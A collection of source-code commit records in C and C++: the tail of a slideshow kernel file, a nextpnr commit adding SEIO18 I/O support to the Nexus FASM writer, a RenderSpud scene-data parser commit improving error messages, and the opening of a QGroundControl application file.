status;\n\n\tif ( fork() == 0 ){\n\t\texeclp(\"mplayer\", \"\", \"-fs\", \"-really-quiet\", fullpath, NULL);\n\t\texit(0);\n\t}\n\n\t::wait(&status);\n}\n\nvoid Kernel::quit(){\n\t_running = false;\n}\n\nvoid Kernel::reload_browser(){\n\t_browser->reload();\n}\n\nvoid Kernel::change_bin(unsigned int id){\n\tLog::message(Log::Verbose, \"Kernel: Switching to collection %d\\n\", id);\n\t_browser->change_bin(id);\n\t_browser->reload();\n}\n\nvoid Kernel::ipc_quit(){\n\tdelete _ipc;\n\t_ipc = NULL;\n}\n\nvoid Kernel::debug_dumpqueue(){\n\t_browser->dump_queue();\n}\n\nchar* Kernel::real_path(const char* filename){\n\tchar* dst;\n\n\tif ( filename[0] == '\/' ){\n\t\tdst = (char*)malloc(strlen(filename)+1);\n\t\tstrcpy(dst, filename);\n\t} else {\n\t\tif ( asprintf(&dst, \"%s\/%s\", datapath(), filename) == -1 ){\n\t\t\tLog::message(Log::Fatal, \"Memory allocation failed!\");\n\t\t\treturn NULL;\n\t\t}\n\t}\n\n\treturn dst;\n}\n\nconst char* Kernel::datapath(){\n\tconst char* path = getenv(\"SLIDESHOW_DATA_DIR\");\n\tif ( !path ){\n\t\tpath = DATA_DIR;\n\t}\n\treturn path;\n}\n\nconst char* Kernel::pluginpath(){\n\tconst char* path = getenv(\"SLIDESHOW_PLUGIN_DIR\");\n\tif ( !path ){\n\t\tpath = PLUGIN_DIR;\n\t}\n\treturn path;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * nextpnr -- Next Generation Place and Route\n *\n * Copyright (C) 2020 David Shah <dave@ds0.me>\n *\n *\n * Permission to use, copy, modify, and\/or distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\n *\/\n\n#include \"log.h\"\n#include \"nextpnr.h\"\n#include \"util.h\"\n\nNEXTPNR_NAMESPACE_BEGIN\nnamespace {\nstruct NexusFasmWriter\n{\n const Context *ctx;\n std::ostream &out;\n std::vector<std::string> fasm_ctx;\n\n void push(const std::string &x) { fasm_ctx.push_back(x); }\n\n void pop() { fasm_ctx.pop_back(); }\n\n void pop(int N)\n {\n for (int i = 0; i < N; i++)\n fasm_ctx.pop_back();\n }\n bool last_was_blank = true;\n void blank()\n {\n if (!last_was_blank)\n out << std::endl;\n last_was_blank = true;\n }\n\n void write_prefix()\n {\n for (auto &x : fasm_ctx)\n out << x << \".\";\n last_was_blank = false;\n }\n\n void write_bit(const std::string &name, bool value = true)\n {\n if (value) {\n write_prefix();\n out << name << std::endl;\n }\n }\n void write_comment(const std::string &cmt) { out << \"# \" << cmt << std::endl; }\n\n void write_vector(const std::string &name, const std::vector<bool> &value, bool invert = false)\n {\n write_prefix();\n out << name << \" = \" << int(value.size()) << \"'b\";\n for (auto bit : boost::adaptors::reverse(value))\n out << ((bit ^ invert) ? '1' : '0');\n out << std::endl;\n }\n\n void write_int_vector(const std::string &name, uint64_t value, int width, bool invert = false)\n {\n std::vector<bool> bits(width, false);\n for (int i = 0; i < width; i++)\n bits[i] = (value & (1ULL << i)) != 0;\n write_vector(name, bits, invert);\n }\n\n void write_enum(const CellInfo *cell, const std::string &name, const std::string &defval = \"\")\n {\n auto fnd = cell->params.find(ctx->id(name));\n if (fnd == cell->params.end()) {\n if (!defval.empty())\n write_bit(stringf(\"%s.%s\", name.c_str(), defval.c_str()));\n } else {\n write_bit(stringf(\"%s.%s\", name.c_str(), fnd->second.c_str()));\n }\n }\n\n NexusFasmWriter(const Context *ctx, std::ostream &out) : ctx(ctx), out(out) {}\n std::string tile_name(int loc, const PhysicalTileInfoPOD &tile)\n {\n int r = loc \/ ctx->chip_info->width;\n int c = loc % ctx->chip_info->width;\n return stringf(\"%sR%dC%d__%s\", ctx->nameOf(tile.prefix), r, c, ctx->nameOf(tile.tiletype));\n }\n const PhysicalTileInfoPOD &tile_by_type_and_loc(int loc, IdString type)\n {\n auto &ploc = ctx->chip_info->grid[loc];\n for (int i = 0; i < ploc.num_phys_tiles; i++) {\n if (ploc.phys_tiles[i].tiletype == type.index)\n return ploc.phys_tiles[i];\n }\n log_error(\"No tile of type %s found at location R%dC%d\", ctx->nameOf(type), loc \/ ctx->chip_info->width,\n loc % ctx->chip_info->width);\n }\n const PhysicalTileInfoPOD &tile_at_loc(int loc)\n {\n auto &ploc = ctx->chip_info->grid[loc];\n NPNR_ASSERT(ploc.num_phys_tiles == 1);\n return ploc.phys_tiles[0];\n }\n std::string escape_name(const std::string &name)\n {\n std::string escaped;\n for (char c : name) {\n if (c == ':')\n escaped += \"__\";\n else\n escaped += c;\n }\n return escaped;\n }\n void push_tile(int loc, IdString tile_type) { push(tile_name(loc, tile_by_type_and_loc(loc, tile_type))); }\n void push_tile(int loc) { push(tile_name(loc, tile_at_loc(loc))); }\n void push_belname(BelId bel) { push(ctx->nameOf(ctx->bel_data(bel).name)); }\n void write_pip(PipId pip)\n {\n auto &pd = ctx->pip_data(pip);\n if (pd.flags & PIP_FIXED_CONN)\n return;\n std::string tile = tile_name(pip.tile, tile_by_type_and_loc(pip.tile, pd.tile_type));\n std::string source_wire = escape_name(ctx->pip_src_wire_name(pip).str(ctx));\n std::string dest_wire = escape_name(ctx->pip_dst_wire_name(pip).str(ctx));\n write_bit(stringf(\"%s.PIP.%s.%s\", tile.c_str(), dest_wire.c_str(), source_wire.c_str()));\n }\n void write_net(const NetInfo *net)\n {\n write_comment(stringf(\"Net %s\", ctx->nameOf(net)));\n std::set<PipId> sorted_pips;\n for (auto &w : net->wires)\n if (w.second.pip != PipId())\n sorted_pips.insert(w.second.pip);\n for (auto p : sorted_pips)\n write_pip(p);\n blank();\n }\n void write_comb(const CellInfo *cell)\n {\n BelId bel = cell->bel;\n int z = ctx->bel_data(bel).z;\n int k = z & 0x1;\n char slice = 'A' + (z >> 3);\n push_tile(bel.tile, id_PLC);\n push(stringf(\"SLICE%c\", slice));\n if (cell->params.count(id_INIT))\n write_int_vector(stringf(\"K%d.INIT[15:0]\", k), int_or_default(cell->params, id_INIT, 0), 16);\n#if 0\n if (cell->lutInfo.is_carry) {\n write_bit(\"MODE.CCU2\");\n write_enum(cell, \"INJECT\", \"NO\");\n }\n#endif\n pop(2);\n }\n void write_ff(const CellInfo *cell)\n {\n BelId bel = cell->bel;\n int z = ctx->bel_data(bel).z;\n int k = z & 0x1;\n char slice = 'A' + (z >> 3);\n push_tile(bel.tile, id_PLC);\n push(stringf(\"SLICE%c\", slice));\n push(stringf(\"REG%d\", k));\n write_bit(\"USED.YES\");\n write_enum(cell, \"REGSET\", \"RESET\");\n write_enum(cell, \"LSRMODE\", \"LSR\");\n write_enum(cell, \"SEL\", \"DF\");\n pop();\n write_enum(cell, \"REGDDR\");\n write_enum(cell, \"SRMODE\");\n write_enum(cell, \"CLKMUX\");\n write_enum(cell, \"CEMUX\");\n write_enum(cell, \"LSRMUX\");\n write_enum(cell, \"GSR\");\n pop(2);\n }\n void write_io33(const CellInfo *cell)\n {\n BelId bel = cell->bel;\n push_tile(bel.tile);\n push_belname(bel);\n const NetInfo *t = get_net_or_empty(cell, id_T);\n bool is_input = false, is_output = false;\n if (t == nullptr || t->name == ctx->id(\"$PACKER_VCC_NET\")) {\n is_input = true;\n } else if (t->name == ctx->id(\"$PACKER_GND_NET\")) {\n is_output = true;\n }\n const char *iodir = is_input ? \"INPUT\" : (is_output ? \"OUTPUT\" : \"BIDIR\");\n write_bit(stringf(\"BASE_TYPE.%s_%s\", iodir, str_or_default(cell->attrs, id_IO_TYPE, \"LVCMOS33\").c_str()));\n pop(2);\n }\n void operator()()\n {\n \/\/ Write routing\n for (auto n : sorted(ctx->nets)) {\n write_net(n.second);\n }\n \/\/ Write cell config\n for (auto c : sorted(ctx->cells)) {\n const CellInfo *ci = c.second;\n write_comment(stringf(\"# Cell %s\", ctx->nameOf(ci)));\n if (ci->type == id_OXIDE_COMB)\n write_comb(ci);\n else if (ci->type == id_OXIDE_FF)\n write_ff(ci);\n else if (ci->type == id_SEIO33_CORE)\n write_io33(ci);\n blank();\n }\n }\n};\n} \/\/ namespace\n\nvoid Arch::write_fasm(std::ostream &out) const { NexusFasmWriter(getCtx(), out)(); }\n\nNEXTPNR_NAMESPACE_END\n<commit_msg>nexus: Add SEIO18 support<commit_after>\/*\n * nextpnr -- Next Generation Place and Route\n *\n * Copyright (C) 2020 David Shah <dave@ds0.me>\n *\n *\n * Permission to use, copy, modify, and\/or distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\n *\/\n\n#include \"log.h\"\n#include \"nextpnr.h\"\n#include \"util.h\"\n\nNEXTPNR_NAMESPACE_BEGIN\nnamespace {\nstruct NexusFasmWriter\n{\n const Context *ctx;\n std::ostream &out;\n std::vector<std::string> fasm_ctx;\n\n void push(const std::string &x) { fasm_ctx.push_back(x); }\n\n void pop() { fasm_ctx.pop_back(); }\n\n void pop(int N)\n {\n for (int i = 0; i < N; i++)\n fasm_ctx.pop_back();\n }\n bool last_was_blank = true;\n void blank()\n {\n if (!last_was_blank)\n out << std::endl;\n last_was_blank = true;\n }\n\n void write_prefix()\n {\n for (auto &x : fasm_ctx)\n out << x << \".\";\n last_was_blank = false;\n }\n\n void write_bit(const std::string &name, bool value = true)\n {\n if (value) {\n write_prefix();\n out << name << std::endl;\n }\n }\n void write_comment(const std::string &cmt) { out << \"# \" << cmt << std::endl; }\n\n void write_vector(const std::string &name, const std::vector<bool> &value, bool invert = false)\n {\n write_prefix();\n out << name << \" = \" << int(value.size()) << \"'b\";\n for (auto bit : boost::adaptors::reverse(value))\n out << ((bit ^ invert) ? '1' : '0');\n out << std::endl;\n }\n\n void write_int_vector(const std::string &name, uint64_t value, int width, bool invert = false)\n {\n std::vector<bool> bits(width, false);\n for (int i = 0; i < width; i++)\n bits[i] = (value & (1ULL << i)) != 0;\n write_vector(name, bits, invert);\n }\n\n void write_enum(const CellInfo *cell, const std::string &name, const std::string &defval = \"\")\n {\n auto fnd = cell->params.find(ctx->id(name));\n if (fnd == cell->params.end()) {\n if (!defval.empty())\n write_bit(stringf(\"%s.%s\", name.c_str(), defval.c_str()));\n } else {\n write_bit(stringf(\"%s.%s\", name.c_str(), fnd->second.c_str()));\n }\n }\n\n NexusFasmWriter(const Context *ctx, std::ostream &out) : ctx(ctx), out(out) {}\n std::string tile_name(int loc, const PhysicalTileInfoPOD &tile)\n {\n int r = loc \/ ctx->chip_info->width;\n int c = loc % ctx->chip_info->width;\n return stringf(\"%sR%dC%d__%s\", ctx->nameOf(tile.prefix), r, c, ctx->nameOf(tile.tiletype));\n }\n const PhysicalTileInfoPOD &tile_by_type_and_loc(int loc, IdString type)\n {\n auto &ploc = ctx->chip_info->grid[loc];\n for (int i = 0; i < ploc.num_phys_tiles; i++) {\n if (ploc.phys_tiles[i].tiletype == type.index)\n return ploc.phys_tiles[i];\n }\n log_error(\"No tile of type %s found at location R%dC%d\", ctx->nameOf(type), loc \/ ctx->chip_info->width,\n loc % ctx->chip_info->width);\n }\n const PhysicalTileInfoPOD &tile_at_loc(int loc)\n {\n auto &ploc = ctx->chip_info->grid[loc];\n NPNR_ASSERT(ploc.num_phys_tiles == 1);\n return ploc.phys_tiles[0];\n }\n std::string escape_name(const std::string &name)\n {\n std::string escaped;\n for (char c : name) {\n if (c == ':')\n escaped += \"__\";\n else\n escaped += c;\n }\n return escaped;\n }\n void push_tile(int loc, IdString tile_type) { push(tile_name(loc, tile_by_type_and_loc(loc, tile_type))); }\n void push_tile(int loc) { push(tile_name(loc, tile_at_loc(loc))); }\n void push_belname(BelId bel) { push(ctx->nameOf(ctx->bel_data(bel).name)); }\n void write_pip(PipId pip)\n {\n auto &pd = ctx->pip_data(pip);\n if (pd.flags & PIP_FIXED_CONN)\n return;\n std::string tile = tile_name(pip.tile, tile_by_type_and_loc(pip.tile, pd.tile_type));\n std::string source_wire = escape_name(ctx->pip_src_wire_name(pip).str(ctx));\n std::string dest_wire = escape_name(ctx->pip_dst_wire_name(pip).str(ctx));\n write_bit(stringf(\"%s.PIP.%s.%s\", tile.c_str(), dest_wire.c_str(), source_wire.c_str()));\n }\n void write_net(const NetInfo *net)\n {\n write_comment(stringf(\"Net %s\", ctx->nameOf(net)));\n std::set<PipId> sorted_pips;\n for (auto &w : net->wires)\n if (w.second.pip != PipId())\n sorted_pips.insert(w.second.pip);\n for (auto p : sorted_pips)\n write_pip(p);\n blank();\n }\n void write_comb(const CellInfo *cell)\n {\n BelId bel = cell->bel;\n int z = ctx->bel_data(bel).z;\n int k = z & 0x1;\n char slice = 'A' + (z >> 3);\n push_tile(bel.tile, id_PLC);\n push(stringf(\"SLICE%c\", slice));\n if (cell->params.count(id_INIT))\n write_int_vector(stringf(\"K%d.INIT[15:0]\", k), int_or_default(cell->params, id_INIT, 0), 16);\n#if 0\n if (cell->lutInfo.is_carry) {\n write_bit(\"MODE.CCU2\");\n write_enum(cell, \"INJECT\", \"NO\");\n }\n#endif\n pop(2);\n }\n void write_ff(const CellInfo *cell)\n {\n BelId bel = cell->bel;\n int z = ctx->bel_data(bel).z;\n int k = z & 0x1;\n char slice = 'A' + (z >> 3);\n push_tile(bel.tile, id_PLC);\n push(stringf(\"SLICE%c\", slice));\n push(stringf(\"REG%d\", k));\n write_bit(\"USED.YES\");\n write_enum(cell, \"REGSET\", \"RESET\");\n write_enum(cell, \"LSRMODE\", \"LSR\");\n write_enum(cell, \"SEL\", \"DF\");\n pop();\n write_enum(cell, \"REGDDR\");\n write_enum(cell, \"SRMODE\");\n write_enum(cell, \"CLKMUX\");\n write_enum(cell, \"CEMUX\");\n write_enum(cell, \"LSRMUX\");\n write_enum(cell, \"GSR\");\n pop(2);\n }\n void write_io33(const CellInfo *cell)\n {\n BelId bel = cell->bel;\n push_tile(bel.tile);\n push_belname(bel);\n const NetInfo *t = get_net_or_empty(cell, id_T);\n bool is_input = false, is_output = false;\n if (t == nullptr || t->name == ctx->id(\"$PACKER_VCC_NET\")) {\n is_input = true;\n } else if (t->name == ctx->id(\"$PACKER_GND_NET\")) {\n is_output = true;\n }\n const char *iodir = is_input ? \"INPUT\" : (is_output ? \"OUTPUT\" : \"BIDIR\");\n write_bit(stringf(\"BASE_TYPE.%s_%s\", iodir, str_or_default(cell->attrs, id_IO_TYPE, \"LVCMOS33\").c_str()));\n pop(2);\n }\n void write_io18(const CellInfo *cell)\n {\n BelId bel = cell->bel;\n push_tile(bel.tile);\n push_belname(bel);\n push(\"SEIO18\");\n const NetInfo *t = get_net_or_empty(cell, id_T);\n bool is_input = false, is_output = false;\n if (t == nullptr || t->name == ctx->id(\"$PACKER_VCC_NET\")) {\n is_input = true;\n } else if (t->name == ctx->id(\"$PACKER_GND_NET\")) {\n is_output = true;\n }\n const char *iodir = is_input ? \"INPUT\" : (is_output ? \"OUTPUT\" : \"BIDIR\");\n write_bit(stringf(\"BASE_TYPE.%s_%s\", iodir, str_or_default(cell->attrs, id_IO_TYPE, \"LVCMOS18H\").c_str()));\n pop(3);\n }\n void operator()()\n {\n \/\/ Write routing\n for (auto n : sorted(ctx->nets)) {\n write_net(n.second);\n }\n \/\/ Write cell config\n for (auto c : sorted(ctx->cells)) {\n const CellInfo *ci = c.second;\n write_comment(stringf(\"# Cell %s\", ctx->nameOf(ci)));\n if (ci->type == id_OXIDE_COMB)\n write_comb(ci);\n else if (ci->type == id_OXIDE_FF)\n write_ff(ci);\n else if (ci->type == id_SEIO33_CORE)\n write_io33(ci);\n else if (ci->type == id_SEIO18_CORE)\n write_io18(ci);\n blank();\n }\n }\n};\n} \/\/ namespace\n\nvoid Arch::write_fasm(std::ostream &out) const { NexusFasmWriter(getCtx(), out)(); }\n\nNEXTPNR_NAMESPACE_END\n<|endoftext|>"} {"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ File: Parser.cpp\n\/\/ Module: RSD\n\/\/ Author: Michael Farnsworth\n\/\/ Copyright: (C)2012 by Michael Farnsworth, All Rights Reserved\n\/\/ Content: RenderSpud scene data parser\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <string>\n#include <vector>\n\n#include <Rsd\/Parser.h>\n\n#include \"Tokenizer.h\"\n\n\n\/\/\n\/\/ Main grammar interface\n\/\/\n\nvoid ParseFree(void *p, \/\/ The parser to be deleted\n void (*freeProc)(void*)); \/\/ Function used to reclaim memory\nvoid* ParseAlloc(void *(*mallocProc)(size_t));\nvoid ParseTrace(FILE *traceFile, char *zTracePrompt);\nvoid Parse(void *yyp, \/\/ The parser\n int yymajor, \/\/ The major token code number\n RenderSpud::Rsd::Parser::Token* yyminor, \/\/ The value for the token\n RenderSpud::Rsd::Parser::ParserState *pState); \/\/ Optional %extra_argument parameter\n\n\n\/\/\n\/\/ Reference grammar interface\n\/\/\n\nvoid ReferenceParseFree(void *p, \/\/ The parser to be deleted\n void (*freeProc)(void*)); \/\/ Function used to reclaim memory\nvoid* ReferenceParseAlloc(void *(*mallocProc)(size_t));\nvoid ReferenceParseTrace(FILE *traceFile, char *zTracePrompt);\nvoid ReferenceParse(void *yyp, \/\/ The parser\n int yymajor, \/\/ The major token code number\n RenderSpud::Rsd::Parser::Token* yyminor, \/\/ The value for the token\n RenderSpud::Rsd::Parser::ParserState *pState); \/\/ Optional %extra_argument parameter\n\n\nnamespace RenderSpud\n{\n namespace Rsd\n {\n namespace Parser\n {\n\n\nenum GrammarVariant\n{\n kMainGrammar,\n kReferenceGrammar\n};\n\nint tokenTypeToLemonId(GrammarVariant variant, TokenType type)\n{\n if (variant == kMainGrammar)\n {\n \/\/ These ones match automatically\n return static_cast<int>(type);\n }\n else if (variant == kReferenceGrammar)\n {\n switch (type)\n {\n case kTokenIdentifier:\n return kReferenceToken_IDENTIFIER;\n case kTokenAssign:\n return kReferenceToken_ASSIGN;\n case kTokenColon:\n return kReferenceToken_COLON;\n case kTokenAt:\n return kReferenceToken_AT;\n case kTokenSemicolon:\n return kReferenceToken_SEMICOLON;\n case kTokenComma:\n return kReferenceToken_COMMA;\n case kTokenDot:\n return kReferenceToken_DOT;\n case kTokenFloat:\n return kReferenceToken_FLOAT;\n case kTokenInteger:\n return kReferenceToken_INTEGER;\n case kTokenBoolean:\n return kReferenceToken_BOOLEAN;\n case kTokenString:\n return kReferenceToken_STRING;\n case kTokenLeftParen:\n return kReferenceToken_LEFTPAREN;\n case kTokenRightParen:\n return kReferenceToken_RIGHTPAREN;\n case kTokenLeftCurlyBracket:\n return kReferenceToken_LEFTCURLYBRACKET;\n case kTokenRightCurlyBracket:\n return kReferenceToken_RIGHTCURLYBRACKET;\n case kTokenLeftSquareBracket:\n return kReferenceToken_LEFTSQUAREBRACKET;\n case kTokenRightSquareBracket:\n return kReferenceToken_RIGHTSQUAREBRACKET;\n case kTokenInclude:\n return kReferenceToken_INCLUDE;\n default:\n return static_cast<int>(kTokenInvalid);\n }\n }\n return static_cast<int>(kTokenInvalid);\n}\n\n\nvoid Parser::parse(const std::string& input, Value& root)\n{\n \/\/\n \/\/ Tokenize \/ parse input into AST\n \/\/\n\n ParserState state(root);\n void *pParser = ParseAlloc(&(::operator new));\n size_t index = 0;\n std::vector<Token*> tokens;\n while (index < input.length())\n {\n tokens.push_back(new Token());\n Token& token = *tokens.back();\n try\n {\n index = Token::parseToken(index,\n input,\n token,\n state.m_currentLine,\n state.m_currentPosition);\n }\n catch (TokenException tokenException)\n {\n \/\/ Rethrow token exceptions as parse errors, with more information\n throw ParseException(std::string(\"Syntax error: invalid token '\") +\n input[index] + \"'\",\n state.m_currentSource,\n state.m_currentLine,\n state.m_currentPosition);\n }\n\n \/\/ Feed tokens to the parser\n if (token.type() != kTokenWhitespace)\n {\n Parse(pParser,\n tokenTypeToLemonId(kMainGrammar, token.type()),\n &token,\n &state);\n }\n }\n\n \/\/ Clean up the parser\n Parse(pParser, 0, NULL, &state);\n ParseFree(pParser, &(::operator delete));\n\n \/\/ Clean up all the tokens we allocated\n for (size_t i = 0; i < tokens.size(); ++i)\n {\n delete tokens[i];\n }\n}\n\n\nvoid Parser::parseReference(const std::string& input, Reference& ref)\n{\n \/\/\n \/\/ Tokenize \/ parse input into AST\n \/\/\n\n ParserState state(ref);\n void *pParser = ReferenceParseAlloc(&(::operator new));\n size_t index = 0;\n std::vector<Token*> tokens;\n while (index < input.length())\n {\n tokens.push_back(new Token());\n Token& token = *tokens.back();\n try\n {\n index = Token::parseToken(index,\n input,\n token,\n state.m_currentLine,\n state.m_currentPosition);\n }\n catch (TokenException tokenException)\n {\n \/\/ Rethrow token exceptions as parse errors, with more information\n throw ParseException(std::string(\"Syntax error: invalid token '\") +\n input[index] + \"'\",\n state.m_currentSource,\n state.m_currentLine,\n state.m_currentPosition);\n }\n\n \/\/ Feed tokens to the parser\n if (token.type() != kTokenWhitespace)\n {\n ReferenceParse(pParser,\n tokenTypeToLemonId(kReferenceGrammar, token.type()),\n &token,\n &state);\n }\n }\n\n \/\/ Clean up the parser\n ReferenceParse(pParser, 0, NULL, &state);\n ReferenceParseFree(pParser, &(::operator delete));\n\n \/\/ Clean up all the tokens we allocated\n for (size_t i = 0; i < tokens.size(); ++i)\n {\n delete tokens[i];\n }\n}\n\n\n } \/\/ namespace Parser\n } \/\/ namespace Rsd\n} \/\/ namespace RenderSpud\n<commit_msg>Improved parser exception messages when they come from the tokenizer.<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ File: Parser.cpp\n\/\/ Module: RSD\n\/\/ Author: Michael Farnsworth\n\/\/ Copyright: (C)2012 by Michael Farnsworth, All Rights Reserved\n\/\/ Content: RenderSpud scene data parser\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <string>\n#include <vector>\n\n#include <Rsd\/Parser.h>\n\n#include \"Tokenizer.h\"\n\n\n\/\/\n\/\/ Main grammar interface\n\/\/\n\nvoid ParseFree(void *p, \/\/ The parser to be deleted\n void (*freeProc)(void*)); \/\/ Function used to reclaim memory\nvoid* ParseAlloc(void *(*mallocProc)(size_t));\nvoid ParseTrace(FILE *traceFile, char *zTracePrompt);\nvoid Parse(void *yyp, \/\/ The parser\n int yymajor, \/\/ The major token code number\n RenderSpud::Rsd::Parser::Token* yyminor, \/\/ The value for the token\n RenderSpud::Rsd::Parser::ParserState *pState); \/\/ Optional %extra_argument parameter\n\n\n\/\/\n\/\/ Reference grammar interface\n\/\/\n\nvoid ReferenceParseFree(void *p, \/\/ The parser to be deleted\n void (*freeProc)(void*)); \/\/ Function used to reclaim memory\nvoid* ReferenceParseAlloc(void *(*mallocProc)(size_t));\nvoid ReferenceParseTrace(FILE *traceFile, char *zTracePrompt);\nvoid ReferenceParse(void *yyp, \/\/ The parser\n int yymajor, \/\/ The major token code number\n RenderSpud::Rsd::Parser::Token* yyminor, \/\/ The value for the token\n RenderSpud::Rsd::Parser::ParserState *pState); \/\/ Optional %extra_argument parameter\n\n\nnamespace RenderSpud\n{\n namespace Rsd\n {\n namespace Parser\n {\n\n\nenum GrammarVariant\n{\n kMainGrammar,\n kReferenceGrammar\n};\n\nint tokenTypeToLemonId(GrammarVariant variant, TokenType type)\n{\n if (variant == kMainGrammar)\n {\n \/\/ These ones match automatically\n return static_cast<int>(type);\n }\n else if (variant == kReferenceGrammar)\n {\n switch (type)\n {\n case kTokenIdentifier:\n return kReferenceToken_IDENTIFIER;\n case kTokenAssign:\n return kReferenceToken_ASSIGN;\n case kTokenColon:\n return kReferenceToken_COLON;\n case kTokenAt:\n return kReferenceToken_AT;\n case kTokenSemicolon:\n return kReferenceToken_SEMICOLON;\n case kTokenComma:\n return kReferenceToken_COMMA;\n case kTokenDot:\n return kReferenceToken_DOT;\n case kTokenFloat:\n return kReferenceToken_FLOAT;\n case kTokenInteger:\n return kReferenceToken_INTEGER;\n case kTokenBoolean:\n return kReferenceToken_BOOLEAN;\n case kTokenString:\n return kReferenceToken_STRING;\n case kTokenLeftParen:\n return kReferenceToken_LEFTPAREN;\n case kTokenRightParen:\n return kReferenceToken_RIGHTPAREN;\n case kTokenLeftCurlyBracket:\n return kReferenceToken_LEFTCURLYBRACKET;\n case kTokenRightCurlyBracket:\n return kReferenceToken_RIGHTCURLYBRACKET;\n case kTokenLeftSquareBracket:\n return kReferenceToken_LEFTSQUAREBRACKET;\n case kTokenRightSquareBracket:\n return kReferenceToken_RIGHTSQUAREBRACKET;\n case kTokenInclude:\n return kReferenceToken_INCLUDE;\n default:\n return static_cast<int>(kTokenInvalid);\n }\n }\n return static_cast<int>(kTokenInvalid);\n}\n\n\nvoid Parser::parse(const std::string& input, Value& root)\n{\n \/\/\n \/\/ Tokenize \/ parse input into AST\n \/\/\n\n ParserState state(root);\n void *pParser = ParseAlloc(&(::operator new));\n size_t index = 0;\n std::vector<Token*> tokens;\n while (index < input.length())\n {\n tokens.push_back(new Token());\n Token& token = *tokens.back();\n try\n {\n index = Token::parseToken(index,\n input,\n token,\n state.m_currentLine,\n state.m_currentPosition);\n }\n catch (TokenException tokenException)\n {\n \/\/ Rethrow token exceptions as parse errors, with more information\n throw ParseException(std::string(\"Syntax error: \") + tokenException.what(),\n state.m_currentSource,\n tokenException.line(),\n tokenException.position());\n }\n\n \/\/ Feed tokens to the parser\n if (token.type() != kTokenWhitespace)\n {\n Parse(pParser,\n tokenTypeToLemonId(kMainGrammar, token.type()),\n &token,\n &state);\n }\n }\n\n \/\/ Clean up the parser\n Parse(pParser, 0, NULL, &state);\n ParseFree(pParser, &(::operator delete));\n\n \/\/ Clean up all the tokens we allocated\n for (size_t i = 0; i < tokens.size(); ++i)\n {\n delete tokens[i];\n }\n}\n\n\nvoid Parser::parseReference(const std::string& input, Reference& ref)\n{\n \/\/\n \/\/ Tokenize \/ parse input into AST\n \/\/\n\n ParserState state(ref);\n void *pParser = ReferenceParseAlloc(&(::operator new));\n size_t index = 0;\n std::vector<Token*> tokens;\n while (index < input.length())\n {\n tokens.push_back(new Token());\n Token& token = *tokens.back();\n try\n {\n index = Token::parseToken(index,\n input,\n token,\n state.m_currentLine,\n state.m_currentPosition);\n }\n catch (TokenException tokenException)\n {\n \/\/ Rethrow token exceptions as parse errors, with more information\n throw ParseException(std::string(\"Syntax error: \") + tokenException.what(),\n state.m_currentSource,\n tokenException.line(),\n tokenException.position());\n }\n\n \/\/ Feed tokens to the parser\n if (token.type() != kTokenWhitespace)\n {\n ReferenceParse(pParser,\n tokenTypeToLemonId(kReferenceGrammar, token.type()),\n &token,\n &state);\n }\n }\n\n \/\/ Clean up the parser\n ReferenceParse(pParser, 0, NULL, &state);\n ReferenceParseFree(pParser, &(::operator delete));\n\n \/\/ Clean up all the tokens we allocated\n for (size_t i = 0; i < tokens.size(); ++i)\n {\n delete tokens[i];\n }\n}\n\n\n } \/\/ namespace Parser\n } \/\/ namespace Rsd\n} \/\/ namespace RenderSpud\n<|endoftext|>"} {"text":"<commit_before>\/*=====================================================================\n \n QGroundControl Open Source Ground Control Station\n \n (c) 2009 - 2015 QGROUNDCONTROL PROJECT <http:\/\/www.qgroundcontrol.org>\n \n This file is part of the QGROUNDCONTROL project\n \n QGROUNDCONTROL is free software: you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n \n QGROUNDCONTROL is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n \n You should have received a copy of the GNU General Public License\n along with QGROUNDCONTROL. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n \n ======================================================================*\/\n\n\/**\n * @file\n * @brief Implementation of class QGCApplication\n *\n * @author Lorenz Meier <mavteam@student.ethz.ch>\n *\n *\/\n\n#include <QFile>\n#include <QFlags>\n#include <QThread>\n#include <QSplashScreen>\n#include <QPixmap>\n#include <QDesktopWidget>\n#include <QPainter>\n#include <QStyleFactory>\n#include <QAction>\n\n#include <QDebug>\n\n#include \"configuration.h\"\n#include \"QGC.h\"\n#include \"QGCCore.h\"\n#include \"MainWindow.h\"\n#include \"GAudioOutput.h\"\n#include \"CmdLineOptParser.h\"\n\n#ifdef QGC_RTLAB_ENABLED\n#include 